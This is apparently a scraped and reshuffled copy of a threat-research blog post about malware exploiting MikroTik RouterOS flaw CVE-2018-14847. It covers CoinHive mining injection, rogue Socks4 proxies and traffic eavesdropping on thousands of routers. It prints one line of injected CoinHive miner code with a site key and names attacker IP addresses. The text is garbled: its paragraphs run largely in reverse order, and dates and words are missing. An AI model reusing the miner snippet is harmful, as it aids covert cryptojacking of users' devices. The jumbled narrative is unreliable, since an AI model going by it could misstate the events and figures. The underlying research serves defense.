7/23/2023 0 Comments Mikrotik winbox port![]() This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users’ network snmp community strings? We don’t have an answer at this point, but we would be very interested to know what the answer might be. ![]() We also noticed the snmp port 161 and 162 are also top on the list. A significant number of devices have their traffic going to this destination.Īttackers mainly interested in port 20, 21, 25, 110, and 143, corresponding to FTP-data, FTP, SMTP, POP3, and IMAP traffic. The MikroTik RouterOS device allows users to capture packets on the router and forward the captured network traffic to the specified Stream server.Īt present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker and their TZSP traffic is being forwarded to some collecting IP addresses.ģ7.1.207.114 is the top player among all the attackers. It is hard to say what the attacker is up to with these many Sock4 proxies but we think this is something significant. The attacker also continues to scan more MikroTik RouterOS devices by using these compromised Socks4 proxy.Īt this point, all the 239K IPs only allow access from 95.154.216.128/25, actually mainly 95.154.216.167. In order for the attacker to gain control even after device reboot(ip change), the device is configured to run a scheduled task to periodically report its latest IP address by accessing a specific attacker's URL. The Socks4 port is mostly TCP/4153, and very interestingly, the Socks4 proxy config only allows access from one single net-block 95.154.216.128/25. Sock4 Proxy and the Mysterious 95.154.216.128/25Īt present, a total of 239K IPs are confirmed to have Socks4 proxy enabled maliciously. Var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', ) What is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from necessary for web mining, are blocked by the proxy ACLs set by attackers themselves. By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users’ devices The Attacks CoinHive Mining Code InjectionĪfter enabling the Mikrotik RouterOS HTTP proxy, the attacker uses a trick in the configuration by redirecting all the HTTP proxy requests to a local HTTP 403 error page, and in this error page a link for web mining code from is inserted. The following is a Top 20 nations list (device count, country). See this map for the countries distribution of vulnerable IPs. Vulnerable Devicesįrom our own scan result, we logged more than 5,000K devices with open TCP/8291 port, and 1,200k of them were identified as Mikrotik devices, within which 370k (30.83%) are CVE-2018-14847 vulnerable. We understand the user devices come and go on the internet all the time, so the data used in this blog reflects what we saw between ~. We strictly followed the Winbox communication protocol to make sure those devices are indeed MikroTik routers, and to verify if the device has been hacked and what the hacked box is being up to. More interestingly, we also discovered that more than 7,500+ victims are being actively eavesdropped, with their traffic being forwarded to IPs controlled by unknown attackers.įrom, we have made multiple rounds of measurements to calculate the scale of the CVE-2018-14847 vulnerability and exploitability on the Internet. What’s more, we have observed massive number of victims having their Socks4 proxy enabled on the device by one single malicious actor. Some of the activity has been spotted by other security researchers such as CoinHive mining code injecting. Since Mid-July, our Anglerfish Honeypot System has been picking up malware exploiting the above MikroTik CVE-2018-14847 vulnerability to perform various malicious activities. Their corresponding communion ports are TCP/8291, TCP/80, and TCP/8080. īoth Winbox and Webfig are RouterOS management components, while Winbox is a Windows GUI application and the Webfig is web based. ![]() Īccording to WikiLeaks, the CIA Vault7 hacking tool Chimay Red involves 2 exploits, including Winbox Any Directory File Read (CVE-2018-14847) and Webfig Remote Code Execution Vulnerability. Each RouterBOARD device runs the RouterOS software system. In 2002, MikroTik decided to build its own hardware and created the RouterBOARD brand. In 1997, MikroTik created the RouterOS software system. MikroTik now provides hardware and software for Internet connectivity in countries around the world. MikroTik is a Latvian company founded in 1996 to develop routers and wireless ISP systems. 11:00 GMT+8, with the generous help from the AS64073, 103.193.137.211 has been promptly suspended and is no longer a threat. ![]()
